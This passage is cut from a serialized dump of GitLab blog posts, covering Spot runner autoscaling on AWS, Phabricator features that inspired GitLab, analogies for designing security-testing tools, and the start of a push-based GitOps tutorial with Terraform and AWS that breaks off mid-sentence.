mechanisms for maximum impact.\n\n### Special pipeline building concerns for Spot Runners\n\nSpot instances can disappear with as little as two minutes of warning. This inevitably means some runners will be terminated while jobs are still in progress. CI/CD pipeline developers must take into account whether a job ought to run on compute resources that can disappear with short notice (so short as to be considered \"no notice\"). This comes down to deciding what jobs are OK to run on Spot and what jobs should instead run on AWS' persistent compute known as \"On-Demand\".\n\nThe GitLab Runner Vending Machine accounts for these constraints by tagging runner instances in GitLab with `computetype-spot` or `computetype-ondemand` – indicating in the \"tags\" segment of GitLab CI/CD jobs if a job should run on Spot compute.\n\nSome types of CI workloads, e.g., mass performance testing or large unit testing suites, may already have work queues and work tracking that make it ideal for Spot compute. Other activities, e.g., polling another system for a deployment status, could suffer a material discrepancy if terminated permaturely. Others, such as building the application, are sort of in the middle. Usually, restarting the build is sufficient.\n\n### Job configuration for Spot\n\nIf you need to reschedule terminated work, it is helpful to configure GitLab’s job `retry:` keyword. When working with a dispatching engine or work queue that automatically accounts for incompleted work by processing agents, the retry configuration is unnecessary.\n\nHere is an example that implements both of these concepts:\n\n```\nmy-scaled-test-suite:\n  parallel: 100\n  tags:\n  - computetype-Spot\n  retry:\n    max: 2\n    when:\n      - runner_system_failure\n      - unknown_failure\n```\n\nThe usage and limitations of `retry:` are discussed in greater detail in the [GitLab CI documentation on retry](https://docs.gitlab.com/ee/ci/yaml/#retry).\n\n### How to get started\n\nThe CloudFormation templates for the [GitLab Runner Vending Machine are managed in a public project on GitLab.com](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/). There is a lot of information in the project about how the solution works and what problems it aims to solve, and will be useful for very experienced AWS builders.\n\nBut to keep it simple for users who want the quickest path to creating runners of all sizes, it also has an \"easy button\" page that has a table that looks like this:\n\n![Easy Button Page Sample](https://about.gitlab.com/images/blogimages/hundred-runners/hundredrunners-image2.png)\nThe easy buttons launch a CloudFormation Quick Create that only requires filling in a few fields.\n{: .note.text-center}\n\nKeep in mind that easy buttons intentionally hide the high degree of customization that is possible with this automation by setting the parameters for the most common scenarios in advance. Advanced AWS users should read more of the documentation in the repository to understand that the GitLab Runner Vending Machine is also capable of creating sophisticated runner fleets.\n\nFirst, click the CloudFormation icons to launch the Easy Button template directly into the CloudFormation Quick Create console. The Quick Create console is designed for simplicity to enable you to complete the prompts and then click one button to launch the stack.\n\n![CloudFormation Quick Create Example](https://about.gitlab.com/images/blogimages/hundred-runners/hundredrunners-image3.png){: .shadow.medium.center}\nThis is a typical Quick Create form for the GitLab Vending Machine easy buttons.\n{: .note.text-center}\n\nNext, select the deploy region by using the drop down menu in the upper right of the console (where the screenshot says \"Oregon\").\n\nIn most cases, you will only need to add your GitLab instance URL (GitLab.com is fine if that is where your repositories are), and the runner token, which you retrieve from the group level or project you wish to attach the runners to. If you are registering against a self-managed instance, you can use the instance-level tokens from the administrator console to register the runner for use across the entire instance. Read on for [instructions for finding Runner Registration Tokens](https://docs.gitlab.com/runner/register/#requirements).\n\nA few other customization parameters are available for your convenience.\n\nNote that the automation attempts to use the default VPC of the region in which you deploy and the default security group for the VPC. In some organizations, default VPCs and/or their security groups are locked. You can deploy to custom VPCs by using the full template instead of an easy button. On the easy button page look for the footnote \"Not any easy button person?\"\" to find a link to the full template.\n\nWatch the video below to see the deployment of provisioning 100 GitLab Spot Runners on AWS in less than 10 minutes and in less than 10 clicks for just $5 per hour.\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/EW4RJv5zW4U\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\nCheck out the YouTube playlist for more relevant videos about [GitLab and AWS](https://youtube.com/playlist?list=PL05JrBw4t0Ko30Bkf8bAvR-8E441Fy2G9)\n\n### This automation does much, much more\n\nWhile this article focused how much you can saving while using Spot for scaled runners, the underlying automation is capable of many other scenarios. Below is a summary of the additional features and benefits covered in the documentation.\n\n- Scaled runners that are persistent (not Spot) ([see more easy buttons here](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/easybuttons.md)).\n- Supports small, single runner setups and scaled ones.\n- Supports GitLab.com SaaS or self-managed instances.\n- Automates OS patching and Runner version upgrading.\n- Supports Windows and Linux.\n- Can be reused with Amazon provisioning services such as Service Catalog and Control Tower.\n- Implements least privilege security throughout.\n- Supports deregistering runners on scale-in or Spot termination.\n\nA full feature list is in the document [Features of GitLab HA Scaling Runner Vending Machine for AWS](https://gitlab.com/guided-explorations/aws/gitlab-runner-autoscaling-aws-asg/-/blob/main/FEATURES.md)\n\n### Easy running\n\nWe hope that this automation will make deployment of runners of all sizes simple for you. We are open to your feedback, suggestions and contributions in the GitLab project.\n",[1384,1385,4103,944],{"slug":17676,"featured":6,"template":678},"100-runners-in-less-than-10mins-and-less-than-10-clicks","content:en-us:blog:100-runners-in-less-than-10mins-and-less-than-10-clicks.yml","100 Runners In Less Than 10mins And Less Than 10 Clicks","en-us/blog/100-runners-in-less-than-10mins-and-less-than-10-clicks.yml","en-us/blog/100-runners-in-less-than-10mins-and-less-than-10-clicks",{"_path":17682,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17683,"content":17688,"config":17693,"_id":17695,"_type":16,"title":17696,"_source":17,"_file":17697,"_stem":17698,"_extension":20},"/en-us/blog/five-great-phabricator-features-inspired-gitlab",{"title":17684,"description":17685,"ogTitle":17684,"ogDescription":17685,"noIndex":6,"ogImage":15224,"ogUrl":17686,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17686,"schema":17687},"5 Great Phabricator features that inspired GitLab","Take a deep dive into the Phabricator features that prompted GitLab to build new tooling around automation, integrated CI, and better code reviews.","https://about.gitlab.com/blog/five-great-phabricator-features-inspired-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 Great Phabricator features that inspired GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Michael Friedrich\"}],\n        \"datePublished\": \"2021-08-13\",\n      }",{"title":17684,"description":17685,"authors":17689,"heroImage":15224,"date":17690,"body":17691,"category":299,"tags":17692},[4808],"2021-08-13","\n\nInnovation often happens because competition sparks new ideas. We unpack how Phabricator inspired GitLab to add new features.\n\n## Phabricator explained\n\nTurning back time a bit, what exactly is Phabricator? Built on the concept of web-based applications, Phabricator enables developers to collaborate with code reviews, repository browser, change monitoring, bug tracking and wiki. On May 29, 2021, Phacility, the maintainer and sponsor of Phabricator [announced end-of-life](https://admin.phacility.com/phame/post/view/11/phacility_is_winding_down_operations/) and stopped maintaining Phabricator.\n\n[GitLab co-founder and CEO, Sid Sijbrandij](/company/team/#sytses) gives credit to Phabricator on [HackerNews](https://news.ycombinator.com/item?id=27334636):\n\n> Phabricator was an inspiration to me when starting GitLab. It is shutting down now. [Many of its features were years ahead of its time](https://news.ycombinator.com/item?id=27334511) and there was a lot of humor in the product. As a tribute to it shall we add Clowcoptarize as a way to merge? This would be an [opt in option introduced in GitLab 14.0](https://gitlab.com/gitlab-org/gitlab/-/issues/332215).\n\nIt got me curious: What are these inspirations Sid is referring to? Let's dive into GitLab's history together and see what we can learn.\n\n_Tip: Features in the [GitLab documentation](https://docs.gitlab.com/) often have a `Version History` box. You can use the issue URLs to dive deeper into feature proposals, discussions, etc._\n\n### Review workflows\n\nA typical engineering workflow is as follows: The engineering manager assigns a new issue as a task to a developer. The developer works in their preferred IDE – local in VS Code or in the [Gitpod](/blog/teams-gitpod-integration-gitlab-speed-up-development/) cloud environment. Changes happen in a new feature branch in Git, which gets pushed to the remote Git server for collaboration.\n\nThe Git branch is not ready yet and stays hidden in a potentially long list of branches. To keep better track of their feature branches, developers could copy-paste the branch name or URL into the related issue - which I did 10 years ago. The concept of a \"diff linked to a task for review\" in Phabricator, likewise a \"Git branch with commits linked to Merge Requests\" in GitLab was not invented yet. \n\nPhabricator inspired GitLab to create a [default workflow](https://secure.phabricator.com/phame/post/view/766/write_review_merge_publish_phabricator_review_workflow/) for reviews. The Phabricator workflow makes the review more dominant and squashes all changes into a single commit after the review is approved. There are upsides and downsides to automatically squashing commits. Squashing the commits could mean losing information from review history and create more discussion. Depending on the application architecture, the frequency of changes, and debugging requirements, this can be a good thing or a bad thing. GitLab allows you to choose to [squash commits](https://docs.gitlab.com/ee/user/project/merge_requests/squash_and_merge.html) before merging a MR and/or specifying the default project settings around squashing commits.\n\nPhabricator treated a MR (or what they call \"diff tasks\") as the single source of truth for tracking changes and the review history. We felt this was a great idea, and replicated the process of a \"diff task\" in Phabricator in GitLab MRs. One of the major upsides to GitLab's version is that collaboration and discussion that happened in issues and epics is still available even after the change is merged.\n\n#### Draft MR (or \"diff tasks\")\n\nMany times when a MR is created in GitLab, the branch requires additional work before it is ready to be merged. Phabricator introduced a [formal \"Draft\" / \"Not Yet Ready for Review\" state](https://secure.phabricator.com/T2543) in 2013 for \"diff tasks\", which helped keep track of work in this state. GitLab added [WIP MRs in 2016](/blog/feature-highlight-wip/), which we then renamed to draft merge requests in 2020. While `WIP` may make sense to some people, acronyms can exclude newcomers. We found `Draft` is more recognizable. To avoid confusion, GitLab [deprecated WIP and moved forward with draft merge requests](https://gitlab.com/gitlab-org/gitlab/-/issues/32692).\n\n#### Keep history in MRs for future debugging\n\nThe commit history in GitLab is enriched with links to the MR and the corresponding Git review history. In case of a production emergency, having everything documented allows for faster research and debugging.\n\nGitLab stores the MR short URL with `\u003Cnamespace>/\u003Cproject>!1234` in the merge commit message. Check the history of a [demo project for the Kubernetes agent](https://gitlab.com/everyonecancontribute/kubernetes/k8s-agent/-/commits/main/) to see how the merge commit is rendered.\n\n![GitLab history with MR commit links](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/gitlab_history_mr_metadata_link.png)\nGitLab commit history includes link to the MR.\n{: .note.text-center}\n\nThis raw information is stored in the Git repository, whereas the MR itself stays in GitLab's database backend. You can verify this by cloning a repository and inspecting the history with this command:\n\n```sh\n$ git log\n```\n\n![git log MR metadata](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/git_log_mr_merge_commit_metadata_link.png)\nMR metadata included in output from `git log` command.\n{: .note.text-center}\n\n### Code coverage in MRs\n\nCode coverage reports provide insight into how many lines of the source code are covered with unit tests. Reaching 100% test coverage is a developer myth - visualizing a decrease or increase can help monitor a trend in code quality. Phabricator implemented support for various languages with unit test engines and parsing the output, for example in [Golang](https://secure.phabricator.com/D12621).\n\nWith many different languages and report output formats, integrating code coverage reports into GitLab MRs was challenging. [GitLab launched the first iteration of code coverage reports in 2016](/blog/publish-code-coverage-report-with-gitlab-pages/), which generated the reports with CI/CD jobs and used GitLab pages to publish the HTML reports.\n\nIn this first iteration, the test coverage is parsed with a regular expression from the CI/CD job output, specified in the project settings or with the [coverage](https://docs.gitlab.com/ee/ci/yaml/#coverage) keyword inside the CI/CD job configuration. We can see this in the job view inside the [MR widget](https://docs.gitlab.com/ee/ci/pipelines/settings.html#add-test-coverage-results-to-a-merge-request) and as a coverage badge for the project. See the test coverage history by navigating into `Analytics > Repository`.\n\n![Test coverage as project badge in GitLab](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/gitlab_project_badge_test_coverage.png)\nThe test coverage badge in a GitLab project.\n{: .note.text-center}\n\nJUnit XML test reports were introduced as common format specification and added as an [MR widget in 2018](https://docs.gitlab.com/ee/ci/unit_test_reports.html). The test reports runs in the background, using CI/CD artifacts to upload the XML reports from the runner to the server, where the MR/pipeline view visualizes the coverage reports in a tab.\n\nThe generic JUnit integration also helped with customization requests to unit tests, updated CLI commands, or changed coverage report outputs to parse. GitLab provides [CI/CD template examples](https://docs.gitlab.com/ee/ci/examples/)\n\nThe missing piece for GitLab was having inline code coverage remarks inside MR diffs. It took about five years for [Sid's initial proposal for inline code coverage remarks](https://gitlab.com/gitlab-org/gitlab/-/issues/3708) to be implemented. In 2020, inline code coverage remarks were released in [GitLab 13.5](https://docs.gitlab.com/ee/user/project/merge_requests/test_coverage_visualization.html).\n\n![Test Coverage with Rust in GitLab](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/gitlab_mr_diff_inline_test_coverage.png)\nHow inline code coverage works in GitLab.\n{: .note.text-center}\n\nCheck out [this MR to practice verifying the test coverage](https://gitlab.com/everyonecancontribute/dev/rust-code-coverage-llvm/-/merge_requests/1/diffs?view=inline validating some Rust code). Make sure to select the inline diff view.\n\n### Automated workflows and integrated CI\n\nPhabricator provides [Herald](https://secure.phabricator.com/book/phabricator/article/herald/) as an automated task runner and rule engine to listen for changes. Herald can also be used to ensure [protected branches](https://docs.gitlab.com/ee/user/project/protected_branches.html) and [approval rules](https://docs.gitlab.com/ee/user/project/merge_requests/approvals/rules.html#add-multiple-approval-rules) to enforce a strong permission model in development workflows. There are more examples in this [HackerNews post from 2016](https://news.ycombinator.com/item?id=12501025) and somehow, I feel like an explorer seeing many great GitLab features in similar ways. 🦊\n\n[GitLab CI/CD pipeline schedules](https://docs.gitlab.com/ee/ci/pipelines/schedules.html) remind me of the task runner, similarly to [webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html) and the [REST API](https://docs.gitlab.com/ee/api/) being instrumented from CI/CD jobs. The pipeline schedules are also a great way to periodically regenerate caches and rebuild container images for cloud native deployments.\n\n[Harbormaster](https://secure.phabricator.com/book/phabricator/article/harbormaster/) is Phabricator's integration for CI. It's not built from multiple tools in the [DevOps](/topics/devops/) stack, but is instead fully integrated in the product.\n\nThe first version of GitLab CI was created in [November 2012](/company/history/). In 2015, a GitLab team member came up with the idea of combining SCM with CI and [the all-in-one DevOps platform was born](/blog/gitlab-hero-devops-platform/). Built-in CI/CD inspired for more features and fostered a better way to innovate together. The [new pipeline editor](/blog/pipeline-editor-overview/) is just one example of a streamlined way to configure CI/CD pipelines in GitLab.\n\nLet's throwback to 2017 and watch as we demonstrate how to take an idea to production in GitLab, using GKE:\n\n\u003Ciframe width=\"560\" height=\"315\" src=\"https://www.youtube.com/embed/39chczWRKws\" title=\"YouTube video player\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen>\u003C/iframe>\n\n\u003Cbr>\n\n### Work boards for issue management\n\nWork needs to be organized. Phabricator led the way with a board which allowed users to filter tasks and provide a more detailed view into planning and project management.\n\n![Phabricator work boards](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/phabricator_work_boards.png)\nInside Phabricator work boards.\n{: .note.text-center}\n\nGitLab users will recognize the similar look between Phabricator's work boards and GitLab [issue boards](https://docs.gitlab.com/ee/user/project/issue_board.html). In GitLab 14.1, we built on existing epic tracking and labeling to create [Epic boards](https://docs.gitlab.com/ee/user/group/epics/epic_boards.html) to keep teams organized and measure progress.\n\nIn Phabricator, users can drag and drop between columns, which automatically changes the work status for a particular task. This feature inspired the boards in GitLab to automatically change the labels in a [defined workflow](/blog/4-ways-to-use-gitlab-issue-boards/) by dragging and dropping between columns. Users can go a level deeper with scoped labels to switch between workflow states:\n\n* `workflow::design`\n* `workflow::planning breakdown`\n* `workflow::ready for development`\n* `workflow::in dev`\n* `workflow::verification`\n\nThe [GitLab engineering handbook](/handbook/engineering/workflow/#basics) documents the different workflows.\n\n![Epic boards in GitLab](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/gitlab_epic_boards.png)\nTake a look at the Epic boards in GitLab.\n{: .note.text-center}\n\n### Put it all together\n\nIn Phabricator, a diff task (in GitLab they're MRs) in the \"review\" state is linked to another task specifying the requirements. The UX needs to be clear so the relationship between the diffs can be accessed and understood. Unless necessary, the user shouldn't have to navigate manually. The context of the change review defines possible links to labels, states, dependent issues, diff tasks (MRs), and more.\n\nGitLab links [related issues](https://docs.gitlab.com/ee/user/project/issues/related_issues.html). If an issue is mentioned in a MR, or vice versa, [GitLab automatically links them](https://docs.gitlab.com/ee/user/project/issues/crosslinking_issues.html#from-merge-requests). The user also has the option to have the issue close automatically once a change is merged. Read a blog post from 2016 to learn more about [how issues and MRs can relate to each other in GitLab](/blog/gitlab-tutorial-its-all-connected/).\n\n![Linked issues and MRs in GitLab](https://about.gitlab.com/images/blogimages/phabricator-features-inspired-gitlab/gitlab_linked_issues_mrs.png)\nLinked issues and related MRs in GitLab.\n{: .note.text-center}\n\nUX work is challenging, and we continue to iterate to improve workflows in GitLab. For example, in GitLab 13.8, we reduced the number of clicks it takes to [download a CI/CD job artifact from the MR](https://gitlab.com/gitlab-org/gitlab/-/issues/37346).\n\n\n### Did we miss a feature Phabricator inspired?\n\nWhile writing this blog post, my research revealed more gems. For example, I found a proposal to add [visual graphs for issue dependencies](https://gitlab.com/gitlab-org/gitlab/-/issues/273597) in the [HN thread](https://news.ycombinator.com/item?id=27336818).\n\nWhich features from Phabricator are missing in GitLab? Let us know in the comments, create a new [feature proposal](https://gitlab.com/gitlab-org/gitlab/-/issues/new?issuable_template=Feature%20Proposal%20-%20lean) or start your [contribution journey](/community/contribute/) in a new MR right away! \n\nCover image by [Johannes Plenio](https://unsplash.com/photos/DKix6Un55mw) on [Unsplash](https://unsplash.com)\n{: .note}\n",[1384,1207,2368],{"slug":17694,"featured":6,"template":678},"five-great-phabricator-features-inspired-gitlab","content:en-us:blog:five-great-phabricator-features-inspired-gitlab.yml","Five Great Phabricator Features Inspired Gitlab","en-us/blog/five-great-phabricator-features-inspired-gitlab.yml","en-us/blog/five-great-phabricator-features-inspired-gitlab",{"_path":17700,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17701,"content":17706,"config":17711,"_id":17713,"_type":16,"title":17714,"_source":17,"_file":17715,"_stem":17716,"_extension":20},"/en-us/blog/understand-highly-technical-spaces",{"title":17702,"description":17703,"ogTitle":17702,"ogDescription":17703,"noIndex":6,"ogImage":15627,"ogUrl":17704,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17704,"schema":17705},"How I use analogy to design for highly technical spaces","Just how much does a designer need to know about a technical space or product to design for it?","https://about.gitlab.com/blog/understand-highly-technical-spaces","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How I use analogy to design for highly technical spaces\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Camellia Yang\"}],\n        \"datePublished\": \"2021-08-13\",\n      }",{"title":17702,"description":17703,"authors":17707,"heroImage":15627,"date":17690,"body":17709,"category":734,"tags":17710},[17708],"Camellia Yang","\n\nAs a designer, you're lucky when you get to design an application you're familiar with, such as a supermarket app or a travel website – something we might have already used or even use every day. Most of the time, we are tasked with designing an application or technology that's unfamiliar or highly technical. Sometimes, we may not know what the application we're designing is used for, like creating an interface for an MRI machine controlled by a doctor, or a dashboard used by a professional musician – knowing what all the buttons do is already an achievement.\n\nOne of the trickiest questions for designers is understanding exactly how much you need to know how to use an application to design the best system for the user. This conundrum is typical for designers that work in a highly technical, enterprise space such as GitLab. The challenges can be exacerbated when working on Security products, but in my experience, we don't need to _fully understand_ the technology or space we are designing for, but we do need to have some idea of how it all works.\n\nThe most difficult part is deciding: How much knowledge is enough? How much do you need to know about a product to hold a conversation with users? Or be able to explain it to others in your own words?\n\nAll if those questions are reasonable criteria for designers to focus on, but I've found a more exciting strategy to motivate me to translate complex technical spaces into smart designs: Analogy.\n\n## Create analogies to aid the design process\n\nAs a designer, I like to focus on both my creative and analytical sides but thinking of scenarios that do not exist yet. For instance, I like to do some thought experiments where I'll position myself as different types of users while performing tasks, or pretend I'm a user and critique my own work.\n\nIt may be easier to show how I do this through some examples. Below, I'll give security technologies some new clothes through easy-to-remember stories that match up to what the security technology does.\n\nLet's start by looking at some of the standard security technology that we offer on GitLab:\n\n**Static application security testing (SAST)**: A testing methodology that analyses source code to find security vulnerabilities that make your organization's applications susceptible to attack.\n\n**Dynamic application security testing (DAST)**: A testing methodology that communicates with a web application through the web front-end to identify potential security vulnerabilities in the web application and architecture.\n\n**Fuzz testing**: An automated software testing technique that involves sending invalid, unexpected, or random data as inputs to a computer program in an attempt to get it to fail in some way.\n\nNow that we have an idea of the technologies in question, how might we understand them better through analogy?\n\nImagine a person is going to a hospital to check whether they're sick or not. Think of the SAST, DAST, and Fuzz testing technologies as different doctors with different specialties.\n\nSAST is a modern doctor who loves scanning. SAST can use an X-ray-like machine to see through the application's \"skin\". It can see if any bones are broken – and everything else that makes the application work. This is SAST's key advantage – it can see every detail of the scanned app and analyze it. It also has maps with predefined problems so SAST can compare and find the problems. In some ways, the SAST maps is what [Gray's Anatomy](https://www.amazon.com/Grays-Anatomy-Anatomical-Clinical-Practice/dp/0702052302), the seminal medical school textbook, is to a doctor's clinical practice.\n\nDAST, on the other hand, is more like your primary care physician. DAST doesn't need to know all of the details about how everything is doing inside your body (or the application). Instead, DAST talks with the app by asking questions and then observing and analyzing the responses. If the response is strange, wrong, or there is no response, DAST knows there are potential problems\n\nFuzz testing is the doctor that is a master of AI. Sometimes it also has a scanner like SAST, but it doesn't analyze in the same way. Fuzz testing has AI X-ray glasses that can mutate based on what it sees – potentially seeing even more. The analysis is the most personalized because of these mutated glasses: When the glasses see something suspicious at the shoulder area, it can change the lights and analyze it from the weirdest angle possible to match the individual shoulder. In other words, it adapts itself based on what was previously discovered and then digs deeper. Similarly, when Fuzz testing does not have a scanner, it has AI hearing, which allows it to change or mutate its questions based on the app's responses. It can possibly ask better questions as it scans to get more valuable answers to identify problems.\n\nI like to use people in my analogies because technology is so complicated but few things are as complex as humans. Creating stories about things that I can relate to in my daily life makes them more accessible.\n\nI hope you've found these examples to be a fun way to conceptualize challenging and highly technical topics. Next time you're designing in highly technical spaces, try building out relatable analogies and remove any fears of working in this space as a designer. One piece of advice: Always verify your analogies with professionals who have a deep understanding of the domain – no one will laugh at a passionate designer who tries to understand an unfamiliar world.\n",[674,2249],{"slug":17712,"featured":6,"template":678},"understand-highly-technical-spaces","content:en-us:blog:understand-highly-technical-spaces.yml","Understand Highly Technical Spaces","en-us/blog/understand-highly-technical-spaces.yml","en-us/blog/understand-highly-technical-spaces",{"_path":17718,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":17719,"content":17724,"config":17730,"_id":17732,"_type":16,"title":17733,"_source":17,"_file":17734,"_stem":17735,"_extension":20},"/en-us/blog/how-to-agentless-gitops-aws",{"title":17720,"description":17721,"ogTitle":17720,"ogDescription":17721,"noIndex":6,"ogImage":12013,"ogUrl":17722,"ogSiteName":1180,"ogType":1181,"canonicalUrls":17722,"schema":17723},"How to Use Push-Based GitOps with Terraform & AWS ECS/EC2","Learn how GitLab supports agentless approach for GitOps on AWS.","https://about.gitlab.com/blog/how-to-agentless-gitops-aws","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to use a push-based approach for GitOps with Terraform and AWS ECS and EC2\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Cesar Saavedra\"}],\n        \"datePublished\": \"2021-08-10\",\n      }",{"title":17725,"description":17721,"authors":17726,"heroImage":12013,"date":17727,"body":17728,"category":734,"tags":17729},"How to use a push-based approach for GitOps with Terraform and AWS ECS and EC2",[937],"2021-08-10","\n\nIn [part two of our GitOps series](/blog/how-to-agentless-gitops-vars/), we described how to use a push-based (or agentless) approach for [GitOps](/topics/gitops/) by using GitLab scripting capabilities as well as integrating infrastructure-as-code tools into GitOps pipelines. In this third blog post, we’ll also dig deep into how to use a push-based approach, but this time our focus will be on the integrations of Terraform, AWS ECS, and AWS EC2 in GitOps flows. This approach may be preferable when using infrastructure components that aren't Kubernetes, such as VMs, physical devices, and cloud-provider services.\n\nSimilar to Ansible – an agentless IT automation solution – Terraform can be leveraged by the scripting capabilities of GitLab to shape your infrastructure. GitLab also provides out-of-the-box integrations with Terraform, such as GitLab-managed Terraform state and Terraform plan reports in merge requests.\n\n## GitOps flows with GitLab and Terraform\n\nIn this section, we explain how to use GitLab and Terraform for a non-Kubernetes GitOps flow and Kubernetes GitOps.\n\n### GitLab and Terraform for non-K8s infrastructure\n\nGitLab leverages Terraform to provision a non-Kubernetes infrastructure component, namely a MySQL database running on AWS.\n\nNote: Ideally, the provisioning of a database should be an on-demand, self-service process that developers can just use. We use this scenario to illustrate a GitOps flow using a non-Kubernetes infrastructure component.\n\n#### How collaboration works in GitLab\n\nSasha, a developer, creates an issue and assigns the issue to Sidney, the database administrator, who then creates a Merge Request (MR) to start her work and invite collaboration with other stakeholders across the organization. Opening the MR automatically creates a feature branch for the GitLab project. Sidney uses Terraform to create an infrastructure-as-code configuration for the database, named `mysqlmain.tf`. The database happens to be an AWS RDS MySQL instance. The database Terraform configuration file should look like this:\n\n![Terraform configuration file for MySQL database](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/0-tf-mysqlmain-created.png){: .shadow.small.center.wrap-text}\nTerraform configuration file for MySQL database.\n{: .note.text-center}\n\nTake note of the version of the database (`engine_version`), the database storage (`allocated_storage`), and the embedded database admin user (`username`) and password, in the image above.\n\nAs soon as Sidney adds the file `mysqlmain.tf` file to the feature branch, a pipeline is automatically executed by GitLab in the MR. As part of the review process, a \"Terraform plan\" is executed against the Terraform files and the output is attached to the MR as an artifact:\n\n![Terraform plan output attached to Merge Request](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/1-tf-report-in-MR.png){: .shadow.small.center.wrap-text}\nTerraform plan output attached to MR.\n{: .note.text-center}\n\nIn the picture above, you can see the note \"1 Terraform report was generated in your pipelines\". You can click on the `View full log` button to see the output file of the \"Terraform plan\" command that was run against the new configuration file, as seen below:\n\n![Terraform plan output detailed log view](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/2-tf-plan-output.png){: .shadow.small.center.wrap-text}\nTerraform plan output detailed log view.\n{: .note.text-center}\n\nThe Terraform output shows that a database will be created once this configuration file is applied to the infrastructure. The artifacts attached to an MR provide information that can help stakeholders review the proposed changes. The Terraform output in the MR fosters collaboration between stakeholders, and leads to infrastructure that is more consistent, resilient, reliable, and stable, and helps prevent unscheduled outages.\n\nIn the image below, we see how reviewers can collaborate in GitLab. The screenshow shows that the original requester, Sasha, notices that a database storage of 5 GB is too small, so she makes an inline suggestion to increase the database storage capacity to 10 GB.\n\n![Inline suggestion to increase database storage to 10GB](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/3-tf-inline-suggestion-by-Sasha.png){: .shadow.small.center.wrap-text}\nInline suggestion to increase database storage to 10GB.\n{: .note.text-center}\n\nInline suggestions foster collaboration and help increase developer productivity suggested changes can be added with the click of a button.\n\nNext, Sidney invites DevOps engineer Devon to collaborate on the MR. Devon notices that the database version in the configuration file is not the latest one. He proceeds to make an inline suggestion proposing a more up-to-date version for Sidney to review:\n\n![Inline suggestion to update database version](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/4-tf-inline-suggestion-by-Devon.png){: .shadow.small.center.wrap-text}\nInline suggestion to update database version.\n{: .note.text-center}\n\nSidney can monitor the discussion between code reviewers on the MR by tracking the number of unresolved threads. So far, there are four unresolved threads:\n\n![Number of unresolved threads displayed at the top of the MR](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/5-tf-unresolved-threads-for-Sidney.png){: .shadow.small.center.wrap-text}\nNumber of unresolved threads displayed at the top of the MR.\n{: .note.text-center}\n\nSidney starts resolving the threads by following the convenient thread navigation provided by GitLab, which makes it easy for her to process each of the proposed review items. Sidney just needs to click \"Apply suggestion\" to accept an input from a reviewer:\n\n![Applying a suggestion with a single button click](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/6-tf-apply-inline-suggestion-by-Sidney.png){: .shadow.small.center.wrap-text}\nApplying a suggestion with one click.\n{: .note.text-center}\n\nDevon suggested replacing the embedded database admin username and password with a parameter in the inline review, so Sidney replaces the embedded values with variables. The variable values will be managed by masked variables within GitLab:\n\n![Parameterizing variables in Terraform configuration file](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/7-tf-parameterizing-vars-by-Sidney.png){: .shadow.small.center.wrap-text}\nParameterizing variables in Terraform configuration file.\n{: .note.text-center}\n\nOnce the threads are resolved and the stakeholders involved in thh MR finish collaborating, it's time to merge.\n\nLearn more about how GitLab fosters collaboration using the principles of GitOps in the video below:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube-nocookie.com/embed/onFpj_wvbLM\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n\nIn this next example, Sasha is the one merging the MR:\n\n![Merge Request with infrastructure updates being merged](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/8-tf-MR-merged.png){: .shadow.small.center.wrap-text}\nMR with infrastructure updates being merged.\n{: .note.text-center}\n\nMerging automatically launches a pipeline that will apply the changes to the infrastructure:\n\n![GitOps pipeline completed execution](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/9-tf-pipeline-complete.png){: .shadow.small.center.wrap-text}\nGitOps pipeline completed execution.\n{: .note.text-center}\n\n#### CI/CD with non-K8s infrastructure\n\nThe CI/CD pipeline in the previous example works by validating the infrastructure configuration files. Then the pipeline validates the proposed updates against the current state of the infrastructure. Finally, it applies the updates to the production infrastructure.\n\nRunning this GitOps flow results in a brand new MySQL database on AWS RDS:\n\n![A new MySQL database has been created via a GitOps flow](https://about.gitlab.com/images/blogimages/how-to-agentless-gitops-aws/10-db-ready.png){: .shadow.small.center.wrap-text}\nA new MySQL database has been created via a GitOps flow.\n{: .note.text-center}\n\nBy checking the details of the new MySQL database you can corroborate that the database storage is 10 GB and that the database version is the most current\"\n\n![Resulting MySQL database configuration from the collaboration of 